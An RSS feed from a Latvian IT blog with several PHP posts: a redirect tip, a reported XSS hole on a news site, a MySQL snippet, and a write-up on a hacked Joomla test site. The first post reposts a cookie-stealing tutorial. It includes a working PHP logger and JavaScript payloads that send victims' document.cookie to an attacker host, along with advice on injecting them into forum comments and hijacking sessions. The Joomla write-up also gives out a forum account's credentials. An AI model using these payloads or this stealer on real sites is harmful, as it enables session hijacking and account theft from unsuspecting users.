<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IT sviestapika &#187; PHP</title>
	<atom:link href="http://dll.lv/category/web/php/feed" rel="self" type="application/rss+xml" />
	<link>http://dll.lv</link>
	<description>Par IT un ne tikai</description>
	<lastBuildDate>Sun, 29 Jan 2012 13:55:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Kā nodemonstrēt XSS ievainojamību</title>
		<link>http://dll.lv/ka-nodemonstret-xss-ievainojamibu?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ka-nodemonstret-xss-ievainojamibu</link>
		<comments>http://dll.lv/ka-nodemonstret-xss-ievainojamibu#comments</comments>
		<pubDate>Sat, 21 Jan 2012 16:02:35 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[Apmācība]]></category>
		<category><![CDATA[Drošība]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1804</guid>
		<description><![CDATA[Ja ir nepieciešams nodemonstrēt kādā veidā var izmantot XSS ievainojamību kādā mājas lapā, tad var izmantot autora izveidoto php skriptu, lai nebūtu jāizveido divritenis no sākuma. Otrs veids ir izmantot šo pieeju. Savkārt ievietot jau mājaslapā pārsūtāmo informāciju visbiežāk izdevies &#8230; <a href="http://dll.lv/ka-nodemonstret-xss-ievainojamibu">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/www-zz-lv-un-xss' rel='bookmark' title='www.zz.lv un XSS'>www.zz.lv un XSS</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ja ir nepieciešams nodemonstrēt kādā veidā var izmantot XSS ievainojamību kādā mājas lapā, tad var izmantot <a href="http://hackiteasy.blogspot.com/2011/01/session-hijacking-or-cookie-stealing.html">autora</a> izveidoto php skriptu, lai nebūtu jāizveido divritenis no sākuma.</p>
<p>Otrs veids ir izmantot <a href="http://www.criticalsecurity.net/index.php/topic/7137-how-to-make-a-cookie-stealer/">šo</a> pieeju.<br />
<span id="more-1804"></span><br />
Savkārt ievietot jau mājaslapā pārsūtāmo informāciju visbiežāk izdevies izmantojot <a href="http://jehiah.cz/a/xss-stealing-cookies-101">šo</a> piemēru:</p>
<p>&lt;p&gt;script><br />
new Image().src=&#8221;http://jehiah.com/_sandbox/log.cgi?c=&#8221;+encodeURI(document.cookie);<br />
&lt;p&gt;/script></p>
<blockquote><p>In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim&#8217;s computer (see HTTP cookie theft).</p>
<p>Here we show how you can hack a session using javascript and php.</p>
<p>What is a cookie?</p>
<p>A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.<br />
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.<br />
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.</p>
<p>What can we do after stealing cookie?</p>
<p>Well,as we know web sites authenticate their user&#8217;s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.</p>
<p>This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.</p>
<p>PHP Code:<br />
<!--?php function GetIP() { if (getenv("HTTP_CLIENT_IP") &#038;&#038; strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") &#038;&#038; strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") &#038;&#038; strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) &#038;&#038; $_SERVER['REMOTE_ADDR'] &#038;&#038; strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } function logData() { $ipLog="log.txt"; $cookie = $_SERVER['QUERY_STRING']; $register_globals = (bool) ini_get('register_gobals'); if ($register_globals) $ip = getenv('REMOTE_ADDR'); else $ip = GetIP(); $rem_port = $_SERVER['REMOTE_PORT']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $rqst_method = $_SERVER['METHOD']; $rem_host = $_SERVER['REMOTE_HOST']; $referer = $_SERVER['HTTP_REFERER']; $date=date ("l dS of F Y h:i:s A"); $log=fopen("$ipLog", "a+"); if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie "); else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n"); fclose($log); } logData(); ?--></p>
<p>Save the script as a cookielogger.php on your server.<br />
(You can get any free webhosting easily such as justfree,x10hosting etc..)</p>
<p>Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.</p>
<p>Now for the hack to work we have to inject this piece of javascript into the target&#8217;s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.</p>
<p>The best way is to look for user interactive sites which contain comments or forums.</p>
<p>Post the following code which invokes or activates the cookielogger on your host.</p>
<p>Code:<br />
&lt;p&gt;script type=&#8221;text/javascript&#8221; language=&#8221;Java script&#8221;>// <![CDATA[<br />
document.location="http://www.yourhost.com/cookielogger.php?cookie=&quot; + document.cookie;<br />
// ]]&gt;&lt;p&gt;/script></p>
<p>Your can also trick the victim into clicking a link that activates javascript.<br />
Below is the code which has to be posted.</p>
<p>Code:<br />
&lt;p&gt;a href=&#8221;java script:document.location=&#8217;http://www.yourhost.com/cookielogger.php?cookie=&#8217;+document.cookie;&#8221;>Click here!</a></p>
<p>Clicking an image also can activate the script.For this purpose you can use the below code.</p>
<p>Code:</p>
<p>&lt;p&gt;img src=&#8221;URL OF THE IMAGE&#8221; alt=&#8221;" /></p>
<p>All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver</p>
<p>In the above codes please remove the space in between javascript.</p>
<p>Hijacking the Session:</p>
<p>Now we have cookie,what to do with this..?<br />
Download cookie editor mozilla plugin or you may find other plugins as well.</p>
<p>Go to the target site&#8211;&gt;open cookie editor&#8211;&gt;Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573</p>
<p>Don&#8217;t forget to comment if you like my post.<br />
by hackiteasy</p></blockquote>
<p>Related posts:<ol>
<li><a href='http://dll.lv/www-zz-lv-un-xss' rel='bookmark' title='www.zz.lv un XSS'>www.zz.lv un XSS</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/ka-nodemonstret-xss-ievainojamibu/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>User friendly url</title>
		<link>http://dll.lv/user-friendly-url?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=user-friendly-url</link>
		<comments>http://dll.lv/user-friendly-url#comments</comments>
		<pubDate>Mon, 07 Feb 2011 09:41:42 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[User friendly url]]></category>
		<category><![CDATA[web izstrāde]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1504</guid>
		<description><![CDATA[Ir elegants veids kā izveidot lietotājam draudzīgu url pat gadījumā, ja mājas lapas CRM to nepieļauj un nav iespējams veikt izmaiņas servera konfigurācijā (uzstādīt server side redirection ar .htaccess vai .config). Piemēram, ja ir lapa, kura neuztur lietotājam draudzīgus url- &#8230; <a href="http://dll.lv/user-friendly-url">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/html-redirect' rel='bookmark' title='HTML REDIRECT SEO'>HTML REDIRECT SEO</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ir elegants veids kā izveidot lietotājam draudzīgu url pat gadījumā, ja mājas lapas CRM to nepieļauj un nav iespējams veikt izmaiņas servera konfigurācijā (uzstādīt server side redirection ar .htaccess vai .config).<br />
Piemēram, ja ir lapa, kura neuztur lietotājam draudzīgus url- http://kautkas.lv/?i=3 un ir nepieciešams, lai adrese izskatītos- http://kautkas.lv/atrodi-sevi/<br />
Tad to var izdarīt izveidojot direktoriju atrodi-sevi un tajā ievietojot failu index.php ar saturu:<br />
&lt;blockquote>&lt;code><br />
&lt;HTML><br />
&lt;HEAD><br />
&lt;META HTTP-EQUIV=&#8221;refresh&#8221; CONTENT=&#8221;0;URL=http://kautkas.lv/?i=3&#8243;><br />
&lt;/HEAD><br />
&lt;BODY><br />
&lt;/BODY><br />
&lt;/HTML>&lt;/code> &lt;/blockquote></p>
<p>Jāatceras, ka šāda adrese ir tikai lietotājiem draudzīga, nevis meklētājiem.</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/html-redirect' rel='bookmark' title='HTML REDIRECT SEO'>HTML REDIRECT SEO</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/user-friendly-url/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>www.zz.lv un XSS</title>
		<link>http://dll.lv/www-zz-lv-un-xss?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=www-zz-lv-un-xss</link>
		<comments>http://dll.lv/www-zz-lv-un-xss#comments</comments>
		<pubDate>Mon, 17 Jan 2011 07:00:51 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[Drošība]]></category>
		<category><![CDATA[Drošības caurumi]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[drošības prasības]]></category>
		<category><![CDATA[drošības testēšana]]></category>
		<category><![CDATA[easy hack]]></category>
		<category><![CDATA[Incidents]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[web izstrāde]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[zz.lv]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1427</guid>
		<description><![CDATA[Mājās drusku pabakstoties atklājās, ka Zemgales ziņas mājas lapas meklēšanas funkcionalitātē ir XSS ievainojamība. Pieņemu, ka tāda pati problēma ir visās AS Dienas reģionālo avīžu mājas lapās. Pilnībā atvēzēties liedz tas, ka tiek atfiltrēts „=” simbols. Par XSS var palasīt: &#8230; <a href="http://dll.lv/www-zz-lv-un-xss">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/www-atlaizuklubs-lv-sql-kluda' rel='bookmark' title='www.atlaizuklubs.lv SQL kļūda'>www.atlaizuklubs.lv SQL kļūda</a></li>
<li><a href='http://dll.lv/uzlauzts-chrysler-lv' rel='bookmark' title='Uzlauzts Chrysler.lv'>Uzlauzts Chrysler.lv</a></li>
<li><a href='http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta' rel='bookmark' title='Hackeri uzbrūk vai gadās arī tā'>Hackeri uzbrūk vai gadās arī tā</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Mājās drusku pabakstoties atklājās, ka <a href="http://zz.lv" target="_blank">Zemgales ziņas</a> mājas lapas meklēšanas funkcionalitātē ir XSS ievainojamība. Pieņemu, ka tāda pati problēma ir visās AS Dienas reģionālo avīžu mājas lapās.<br />
Pilnībā atvēzēties liedz tas, ka tiek atfiltrēts „=” simbols.<br />
Par XSS var palasīt:</p>
<p><a href="http://hakipedia.com/index.php/Cross_Site_Scripting" target="_blank">http://hakipedia.com/index.php/Cross_Site_Scripting</a><br />
<a href="http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)" target="_blank"> http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)</a><br />
<a href="http://ha.ckers.org/xss.html" target="_blank"> http://ha.ckers.org/xss.html</a><br />
<a href="http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html" target="_blank"> http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html</a><br />
<a href="http://dll.lv/wp-content/uploads/2011/01/zz_lv.png"><img class="aligncenter size-medium wp-image-1428" title="zz_lv" src="http://dll.lv/wp-content/uploads/2011/01/zz_lv-300x225.png" alt="" width="300" height="225" /></a></p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/www-atlaizuklubs-lv-sql-kluda' rel='bookmark' title='www.atlaizuklubs.lv SQL kļūda'>www.atlaizuklubs.lv SQL kļūda</a></li>
<li><a href='http://dll.lv/uzlauzts-chrysler-lv' rel='bookmark' title='Uzlauzts Chrysler.lv'>Uzlauzts Chrysler.lv</a></li>
<li><a href='http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta' rel='bookmark' title='Hackeri uzbrūk vai gadās arī tā'>Hackeri uzbrūk vai gadās arī tā</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/www-zz-lv-un-xss/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Publisks cron serveris?</title>
		<link>http://dll.lv/publisks-cron-serveris?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=publisks-cron-serveris</link>
		<comments>http://dll.lv/publisks-cron-serveris#comments</comments>
		<pubDate>Mon, 27 Dec 2010 07:00:42 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1389</guid>
		<description><![CDATA[Vai kāds zina kādu publisku cron serveri, kas ļautu ar noteiktu regularitāti izsaukt kādu WEB lapu? Mēģināju atrast google.com, bet neizdevās, varbūt kāds var pateikt? Related posts: Aizstājam vai izmainām izvadāmo kodu izmantojot javascript Atbrīvojamies no komentāru spama Lapas redirect
Related posts:<ol>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/atbrivojamies-no-komentaru-spama' rel='bookmark' title='Atbrīvojamies no komentāru spama'>Atbrīvojamies no komentāru spama</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Vai kāds zina kādu publisku cron serveri, kas ļautu ar noteiktu regularitāti izsaukt kādu WEB lapu?<br />
Mēģināju atrast google.com, bet neizdevās, varbūt kāds var pateikt?</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/atbrivojamies-no-komentaru-spama' rel='bookmark' title='Atbrīvojamies no komentāru spama'>Atbrīvojamies no komentāru spama</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/publisks-cron-serveris/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Izraksts no PHP un MySql</title>
		<link>http://dll.lv/izraksts-no-php-un-mysql?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=izraksts-no-php-un-mysql</link>
		<comments>http://dll.lv/izraksts-no-php-un-mysql#comments</comments>
		<pubDate>Sun, 26 Dec 2010 14:45:35 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1384</guid>
		<description><![CDATA[Dažas pamat lietas no php.net, lai katru reizi nav jāmeklē kā pārbaudīt vai tabulā ir meklējamie ieraksti. Related posts: PHP funkcija, kas atgriež tekošo URLI
Related posts:<ol>
<li><a href='http://dll.lv/php-funkcija-kas-atgriez-tekoso-urli' rel='bookmark' title='PHP funkcija, kas atgriež tekošo URLI'>PHP funkcija, kas atgriež tekošo URLI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Dažas pamat lietas no <a href="http://php.net/manual/en/function.mysql-fetch-assoc.php" target="_blank">php.net</a>, lai katru reizi nav jāmeklē kā pārbaudīt vai tabulā ir meklējamie ieraksti.<br />
<code></p>
<blockquote><p>
<?php<br />
$conn = mysql_connect("localhost", "mysql_user", "mysql_password");<br />
<span id="more-1384"></span><br />
if (!$conn) {<br />
    echo "Unable to connect to DB: " . mysql_error();<br />
    exit;<br />
}</p>
<p>if (!mysql_select_db("mydbname")) {<br />
    echo "Unable to select mydbname: " . mysql_error();<br />
    exit;<br />
}</p>
<p>$sql = "SELECT id as userid, fullname, userstatus<br />
        FROM   sometable<br />
        WHERE  userstatus = 1";</p>
<p>$result = mysql_query($sql);</p>
<p>if (!$result) {<br />
    echo "Could not successfully run query ($sql) from DB: " . mysql_error();<br />
    exit;<br />
}</p>
<p>if (mysql_num_rows($result) == 0) {<br />
    echo "No rows found, nothing to print so am exiting";<br />
    exit;<br />
}</p>
<p>// While a row of data exists, put that row in $row as an associative array<br />
// Note: If you're expecting just one row, no need to use a loop<br />
// Note: If you put extract($row); inside the following loop, you'll<br />
//       then create $userid, $fullname, and $userstatus<br />
while ($row = mysql_fetch_assoc($result)) {<br />
    echo $row["userid"];<br />
    echo $row["fullname"];<br />
    echo $row["userstatus"];<br />
}</p>
<p>mysql_free_result($result);</p>
<p>?>
</p></blockquote>
<p></code></p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/php-funkcija-kas-atgriez-tekoso-urli' rel='bookmark' title='PHP funkcija, kas atgriež tekošo URLI'>PHP funkcija, kas atgriež tekošo URLI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/izraksts-no-php-un-mysql/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hackeri uzbrūk vai gadās arī tā</title>
		<link>http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=hackeri-uzbruk-vai-gadas-ari-ta</link>
		<comments>http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta#comments</comments>
		<pubDate>Wed, 05 May 2010 06:00:05 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[Drošība]]></category>
		<category><![CDATA[Drošības caurumi]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[audits]]></category>
		<category><![CDATA[autentifikācija]]></category>
		<category><![CDATA[autorizācija]]></category>
		<category><![CDATA[drošības prasības]]></category>
		<category><![CDATA[drošības testēšana]]></category>
		<category><![CDATA[Incidents]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[IT drošība]]></category>
		<category><![CDATA[IT projektu problēms]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[pieredze]]></category>
		<category><![CDATA[projekti]]></category>
		<category><![CDATA[web izstrāde]]></category>
		<category><![CDATA[zināšanas]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=964</guid>
		<description><![CDATA[Vakar izdomāju sakārtot savu WEB saimniecību un izdzēst uz servera aktualitāti zaudējušas lietas- dažādas testa lapas, izstrādes vides, utt. Tā kā esmu jau aizmirsi, kas man tikai nestāv atveru FTP klientu, lai paskatītos direktoriju saturu. Identificēju trīs izstrādes lapas, kuras &#8230; <a href="http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/nozagtas-facebook-lietotaju-paroles' rel='bookmark' title='Nozagtas Facebook lietotāju paroles'>Nozagtas Facebook lietotāju paroles</a></li>
<li><a href='http://dll.lv/drosibas-caurums-csdd-un-parex-majaslapa' rel='bookmark' title='Drošības caurums CSDD un Parex mājaslapā'>Drošības caurums CSDD un Parex mājaslapā</a></li>
<li><a href='http://dll.lv/google-i-nozagts-gaia-izejas-kods' rel='bookmark' title='Google (i) nozagts Gaia izejas kods :)'>Google (i) nozagts Gaia izejas kods :)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Vakar izdomāju sakārtot savu WEB saimniecību un izdzēst uz servera aktualitāti zaudējušas lietas- dažādas testa lapas, izstrādes vides, utt.</p>
<p>Tā kā esmu jau aizmirsi, kas man tikai nestāv atveru FTP klientu, lai paskatītos direktoriju saturu.</p>
<p>Identificēju trīs izstrādes lapas, kuras jau ir nodotas un tātad tās var dzēst ārā. Tā kā miglaini atceros, kuras tās bija, tad ar lielu interesi ievadu pirmo:</p>
<p>http://dll.lv/test</p>
<p>Un mani sagaida brīnums <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://dll.lv/wp-content/uploads/2010/05/hacked.png"><img class="aligncenter size-medium wp-image-966" title="hacked" src="http://dll.lv/wp-content/uploads/2010/05/hacked-300x123.png" alt="" width="300" height="123" /></a></p>
<p>Neliels pārsteigums&#8230;<span id="more-964"></span></p>
<p>Pārējās lapās izmaiņas nav konstatētas un tās tiek izdzēstas <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Gribu saprasta kas un kā.</p>
<p>Skatos failu struktūra vietā, bet ir parādījies jauns fails index.html (faila izveidošanas datums 17.03.2010- tāda vairāk kā mēnesi atpakaļ <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), lai tas netraucētu gaisu pārsaucu par index.html1.</p>
<p>Skatāmies, kas notiek ar pašu joomla: <a href="http://dll.lv/wp-content/uploads/2010/05/joomla.png"><img class="aligncenter size-medium wp-image-968" title="joomla" src="http://dll.lv/wp-content/uploads/2010/05/joomla-300x30.png" alt="" width="300" height="30" /></a>Izskatās, ka arī datubāzi izdzēsis- atveru phpmyadmin un tiešām:</p>
<p><a href="http://dll.lv/wp-content/uploads/2010/05/phpmyadmin.png"><img class="aligncenter size-medium wp-image-969" title="phpmyadmin" src="http://dll.lv/wp-content/uploads/2010/05/phpmyadmin-300x107.png" alt="" width="300" height="107" /></a></p>
<p>Paskatos joomla config failu:</p>
<p><a href="http://dll.lv/wp-content/uploads/2010/05/konfig.png"><img class="aligncenter size-medium wp-image-967" title="konfig" src="http://dll.lv/wp-content/uploads/2010/05/konfig-300x125.png" alt="" width="300" height="125" /></a>Tas atbild uz jautājumu, kāpēc nav izdzēst viss pārējais- katrai testa sistēmai veidoju vienu  datubāzi un vienu lietotāju, kuram pieeja ir tikai konkrētai datubāzei. Izskatās, ka tas mani ir arī paglābis un brīnumdaris nenonesa pilnīgi visu.</p>
<p>Nav miera un gribu paskatīties dziļāk:</p>
<ul>
<li>Joomla logs izdzēsts ar visu datubāzi</li>
<li>Skatos Apache access log-  ieraksti ir pieejami tikai par pēdējo mēnesi, un līdz 17. maijam vairs nesniedzas. Izmainu konfigurāciju, lai turpmāk visus vecos log failus saarhivē un saglabā (iespējams noderēs, bet ceru ka nē <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ).</li>
<li>Skatos error_log- arī nekā.</li>
</ul>
<p>Hosters piedāvā webalizer un awstat:</p>
<ul>
<li>No webalizer kādu sakarīgu info izdabūt neizdodas.</li>
<li>Awstat-</li>
</ul>
<ol>
<li>no sākuma intresē, kā viņš ir mani uzgājis- pārbaudu meklētājos izmantotos keywords un keyphrases, par februāri un martu, bet nekā aizdomīga neatradu. Sagaidīju atrast kaut ko līdzīgu &#8220;joomla include &#8220;&#8221;", vai ko tamlīdzīgu.</li>
<li>Skatos, ko mēs varam sazīmēt saistībā ar IP adresēm- iegūstu IP adrešu sarakstu par martu un februāri, tomēr šis saraksts neuzrāda apmeklējuma dienu, līdz ar to nav īpaši noderīgs, ja vien netaisos pārbaudīt katru IP atsevišķi- ko es noteikti nedarīšu, jo tas ir pārāk laikietilpīgi (bet ja būtu noticis kas nozīmīgs, iespējams, arī būtu sācis pārbaudi).</li>
<li>Skatos apmeklētās lapas par februāri un martu- ir apmeklēta tikai http://dll.lv/test/, bet http://dll.lv/test/administrator nav apmeklēta. Dīvaini- jo biju izvirzījis hipotēzi, ka uzlaušana notika, jo administratora parole testa videi bija triviāla, bet ja administrēšanas lapa netika apmeklēta šis pieņēmums neapstiprinās.</li>
<li>Meklētās lapas, kuras netika atrastas vai atgrieza kļūdas paziņojumu- nekas interesants saistībā ar testa vidi, bet skatoties atklājās, ka kāds ir meklējis arī ievainojamības pašā blogā. Uz to norāda, piemēram šādi ieraksti:</li>
<p>///administrator/components/com_virtuemart/export.php<br />
/wp-content%20%C2%BB%3Ca%20href=<br />
/guestbook/public/paypal.fr/webscrcmd=_login-run/cgi-bin/login/Confirm.php<br />
/_vti_bin/owssvr.dll<br />
//path/authentication/phpbb3/phpbb3.functions.php<br />
utt.</p>
<li>Skatos ārējos refferers un starp tiem aizdomīga ir tikai http://www.sa-hacker.com/vb/showthread.php.</li>
</ol>
<p>Izskatās, ka esmu kaut ko uzķēris un droši veru lapu vaļā, bet ir aplauziens- viss ir arābu valodā un lai arī kaut ko redzētu ir nepieciešams reģistrēties. Reģistrācijai palīdz google tulkotājs, jo no tiem ķeburiem neko saprast nevar (ja kādam ir intrese par turieni paložņāt- user: zumzum, pass:zumzumzum, email:zumzum@spam.la). Izmeklējos par forumu, bet tomēr neko sakarīgu neatradu.</p>
<p>Kāds tad ir sausais atlikums?</p>
<p>Pēc analīzes secinu, ka ir izdzēsta datubāze, izveidots viens jauns fails, bet pārējā failu struktūra nav mainīta vai dzēsta.</p>
<p>Diemžēl nesanāca atklāt kādā veidā šis brīnums tika pastrādāts un līdz ar to neko prātīgu ieteikt neizdodas (iespējams bija novecojusi un bug -aina joomla vai tās komponente (tas gan mazticams, jo webalizer neuzrādīja apmeklētas kādas lapas, piemēram: dll.lv/test/component/crack.php?upload&#8230;) versija).</p>
<p>No šiem meistariem neesam pasargāti, bet, lai mazinātu to ietekmi:</p>
<ul>
<li>taisām backup</li>
<li>katrai sistēmai izdalām savu DB un atsevišķu lietotāju, kuram nav piekļuve citām datubāzēm.</li>
<li>saglabājam auditācijas pierakstus ilgāk..</li>
<li>vienmēr uzstādam pēdējos drošības ielāpus</li>
